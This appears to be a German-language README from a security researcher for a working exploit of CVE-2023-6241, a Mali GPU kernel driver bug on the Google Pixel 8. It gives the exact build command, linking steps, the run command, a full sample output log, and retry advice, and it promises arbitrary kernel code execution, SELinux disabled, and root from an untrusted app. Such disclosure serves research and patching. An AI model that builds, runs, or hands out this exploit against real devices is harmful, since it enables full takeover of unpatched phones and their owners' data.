
CVE-2023-6241 für Pixel 8
Der Write-up ist hier zu finden. Dies ist ein Fehler im Arm-Mali-Kerneltreiber, den ich im November 2023 gemeldet habe. Der Fehler kann genutzt werden, um aus der nicht vertrauenswürdigen App-Domäne beliebige Kernel-Code-Ausführung zu erlangen, die dann verwendet wird, um SELinux zu deaktivieren und Root-Rechte zu erlangen.
Der Exploit wurde auf dem Google Pixel 8 mit dem November-2023-Patch (UD1A.231105.004) getestet. Er muss mit OpenCL kompiliert und mit der OpenCL-Bibliothek libGLES_mali.so verlinkt werden. Die Bibliothek befindet sich auf einem Pixel-8-Gerät unter vendor/lib64/egl/libGLES_mali.so, und die OpenCL-Headerdateien befinden sich im OpenCL-headers-Repository der KhronosGroup. Der spezifische Header, den ich verwendet habe, war die Version v2023.04.17; andere Versionen sollten jedoch ebenfalls funktionieren. Zur Referenz: Ich habe den folgenden Befehl verwendet, um mit clang in ndk-26 zu kompilieren:
android-ndk-r26b/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android34-clang -DSHELL -DCL_TARGET_OPENCL_VERSION=300 -I. -L. mali_jit_csf.c mem_read_write.c mempool_utils.c -lGLES_mali -o mali_jit_csf
Der Exploit muss mit libGLES_mali.so verlinkt werden. Dies kann erreicht werden, indem LD_LIBRARY_PATH auf /vendor/lib64/egl gesetzt wird. Der Exploit schlägt selten fehl, und selbst wenn er fehlschlägt, beschädigt oder bringt er das System normalerweise nicht zum Absturz. Falls er fehlschlägt, kann er also erneut ausgeführt werden. Bei Erfolg sollte er SELinux deaktivieren und Root-Rechte erlangen.
shiba:/data/local/tmp $ LD_LIBRARY_PATH=/vendor/lib64/egl ./mali_jit_csf
mali_fd 3
corrupted_jit_addr 6000001000
kernel success
kernel success
queue kernel
jit_grow addr 6000001000
Size after grow: 22f6
Final grow size: 23c7
keep alive jit_addr 60023d1000
Size after free: 21fd, trim_level 6
writing to gpu_va 6002301000
found reused page 5fffef6000, 0
pgd entry found at index 0 40000899bbc443
overwrite addr : 5ffff00b50 b50
overwrite addr : 5fffb00b50 b50
overwrite addr : 5fff900b50 b50
overwrite addr : 5ffff00714 714
overwrite addr : 5fffb00714 714
overwrite addr : 5fff900714 714
result 50
clean up
Beim ersten Ausführen bleibt der Exploit manchmal nach dem Drucken der letzten overwrite addr-Meldung hängen. Falls das passiert (länger als 10 Sekunden hängen bleibt, wobei eine Pause von ein paar Sekunden normal ist), beenden Sie den Exploit einfach und führen Sie ihn erneut aus. Beim zweiten Mal sollte er nicht hängen bleiben.
Um den Exploit mit aktiviertem MTE zu testen, befolgen Sie diese Anweisungen, um MTE im Kernel zu aktivieren.